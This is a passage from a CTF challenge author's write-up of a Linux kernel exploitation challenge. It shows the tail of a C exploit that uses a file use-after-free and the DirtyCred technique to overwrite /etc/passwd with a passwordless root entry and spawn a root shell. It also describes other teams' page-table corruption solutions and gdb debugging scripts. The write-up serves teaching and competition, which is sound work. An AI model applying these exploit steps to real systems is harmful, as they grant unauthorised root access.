	    fatal("Failed to open FDs");
	  }
	}

Now we cause UAF on a file descriptor using our sk_buff->head handle:

	// Close both ends of the pipe, making sure the sk_buff->head is freed,
	// since the sk_buff->head is cross-cache overlapped with a file, this will
	// actually cause the free of a file.
	if (close(sockpairs[0][1]) != 0) {
	  perror("socket free close");
	}
	if (close(sockpairs[0][0]) != 0) {
	  perror("socket free close");
	}

Now we want to figure out which file we freed:

	// Spray file's again, and lseek() them to offset 0x8.
	uint64_t fd_spray_size2 = 1000;
	int spray_fds_2[fd_spray_size2];
	for (uint64_t i = 0; i < fd_spray_size2; i++) {
	  spray_fds_2[i] = open("/tmp/a", O_RDWR);
	  lseek(spray_fds_2[i], 0x8, SEEK_SET);
	}

	// All the file's in the original spray will have lseek() set to 0, except
	// one, the one that we freed. That one will have been reallocated by the
	// spray above, and had its lseek() changed.
	int freed_fd = -1;
	for (uint64_t i = 0; i < fd_spray_size1; i++) {
	  if (lseek(spray_fds[i], 0, SEEK_CUR) == 0x8) {
	    freed_fd = spray_fds[i];
	    lseek(freed_fd, 0x0, SEEK_SET);
	    printf("[+] Found freed fd: %d\n", freed_fd);
	    break;
	  }
	}
	if (freed_fd == -1) {
	  fatal("Failed to find FD");
	}

Now that we know which one it is, we can free it again and reallocate it as /etc/passwd:

	// DirtyCred

	// The `freed_fd` is at this point double-pointed by spray_fds_2[]
	// and spray_fds[] (allocated still).
	// mmap() it's contents into memory with read+write permissions
	char* file_mmap =
	    mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0);

	// Free it to allow it to be reclaimed.
	close(freed_fd);

	// I forget why we do this, but if we don't the kernel crashes.
	for (uint64_t i = 0; i < fd_spray_size2; i++) {
	  close(spray_fds_2[i]);
	}

	// Reclaim the `freed_fd` file with /etc/passwd.
	for (uint64_t i = 0; i < fd_spray_size2; i++) {
	    spray_fds[i] = open("/etc/passwd", O_RDONLY);
	}

And now, we can just write to /etc/passwd! Awesome right?

  strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n");

  puts("[+] Finished! Open root shell...");
  puts("=======================");
  system("cat /etc/passwd");
  system("su");

  getchar();
  return 0;
}

Here is the running exploit:

GG!

The exploit works ~100% consistently, with no leak needed, really nice allocator grooming and precise allocations. I’m quite happy with it!

Alternate solutions

During LakeCTF only two (out of 10) teams solved the challenge: ARESx and SleepyHollow.

Both of the teams didn’t take mind to the sheaf’s and just went and solved the challenge in a completely unintended way! Both used multiple += 1’s in the kernel module to increase the permissions of a Page Table Entry ⁶, though they went about it a bit differently.

Although I’m very happy to get unintended solves as it makes me learn stuff I didn’t think of before, I wish someone took the sheaf angle ;;

Here are their exploits and their explanations. I like how both of their exploits are short, even though the challenge itself wasn’t solved that fast (NOT_MASTER from ARESx solved it first after 5 hours (the CTF lasted 8 hours)).

ARESx - NOT_MASTER

Here’s my solve script, I did a cross-cache with a pagetable. Then I placed a page cache PTE for /etc/passwd at the right offset(s), and used the increment primitive to change it to RW. Then i used the segfault handler as an oracle for finding the corrupted (writeable) PTE, and overwrote /etc/passwd.

Exploit code: exploit-aresx.c.

SleepyHollow - meisr

So what I did is spray the kmalloc-256 cache with some object (I used timerctx because I don’t know any other k256 objects 💀). I try getting the furrow_obj allocated in one of the slab filled with timerctx’s. Then when the timerctxs get freed, some slabs will get sent back to the buddy allocator so we have a page uaf. Then I spray some level3 page table entries (so 1 entry is worth 1GB of physical memory). If I get lucky I get the uaf into one of the lvl3 pte. Then I set an entry (that was 0) to 0xe7 with 0xe7 increments -> turns that entry into a 1gb page pointing to phys 0 now I have access to the entire physical memory and I can just search the flag in it.

Exploit code: exploit-sleepyhollow.c.

Appendix

Appendix 1

At the time of writing the challenge, neither bata24/gef nor pwndbg has sheaf support, so I had to get creative with my .gdbinit:

define get-cache
	p ((struct slab*)({$tpage=((struct page*)vmemmap_base+($v2p($arg0)>>12)),$tpage->compound_head&1?$tpage->compound_head^1:$tpage}[1]))->slab_cache
end

define get-sheaf
	p $badshef = (unsigned long)(((struct kmem_cache*)($arg0))->cpu_sheaves)
	p $goodshef = $badshef + $gs_base
	p $goodshef
	p *(struct slub_percpu_sheaves*) $goodshef
	p *((struct slub_percpu_sheaves*) $goodshef)->main
end

I’m kinda proud of the get-cache one-liner honestly. It’s the type of thing only a mother could love.

I’ll also leave you with the rest of .gdbinit which I used to debug the exploit. This type of stuff is actually quite important to get right for a good debugging setup, so it might be useful to you to see how I do it:

tar rem :1234

add-symbol-file furrow.ko 0xffffffffc0400000

define myslab
	slab info kmalloc-256
end

# b __alloc_empty_sheaf
# b free_to_pcs

# mm/slub.c:4725 -> taken obj from arr

p $myguyloc = 0xffffffffc0201018
p $myguy = 0x1337

tb hackme.c:31
commands
	p $myguy=*((unsigned long*)$myguyloc)

	# putting this here so we don't hit is during early boot
	# allocating a sheaf that contains kmalloc-cg-512
	# b __alloc_empty_sheaf if s->name[0] == 'k' && s->name[8] == 'c' && s->name[11] == '5'

	pi gdb.execute("continue")
end

# \/ the kzalloc in __alloc_empty_sheaf
tb mm/slub.c:2773 if (unsigned long)sheaf == (unsigned long)$myguy
commands
	# get the address of sk_buff->head
	# at net/core/skbuff.c:714
	tb *0xffffffff8276ab48
	commands
		p $mybuf = $rax

		tb *0xffffffff8276ab48
		commands
			p $mybuf2 = $rax
			pi print("IS SAME (0x1 is good):")
			p $mybuf2 == $mybuf
			pi gdb.execute("continue")
		end

		pi gdb.execute("continue")
	end

	pi print("GOOD THINGS HAPPENING!")
	pi gdb.execute("continue")
end

continue

And of course, let me know if you know of a better way!

Appendix 2

I created the splash image for the challenge by slapping together various pictures in gimp. Then Luca and I read this awesome blog https://alexharri.com/blog/ascii-rendering about ASCII rendering, and used it to slop a tool to asciify my gimp collage. Here’s the source: https://github.com/k4lizen/ascii_stolen .

Appendix 3

P.Howe patched the challenge handout literal one hour before the CTF started to mitigate CopyFail, which dropped right before the CTF. Some teams tried to use it and succeeded locally, though the exploit did not work on remote because of the patch. Holy stress.

Appendix 4

If you want to do further reading on the sheaves, check out https://blog.ktranowl.site/posts/cross-cache-attacks-slub-sheaf-barn-mechanism-linux-7-1/ and https://bluedragonsec.com/page/writing/id/24 .

Footnotes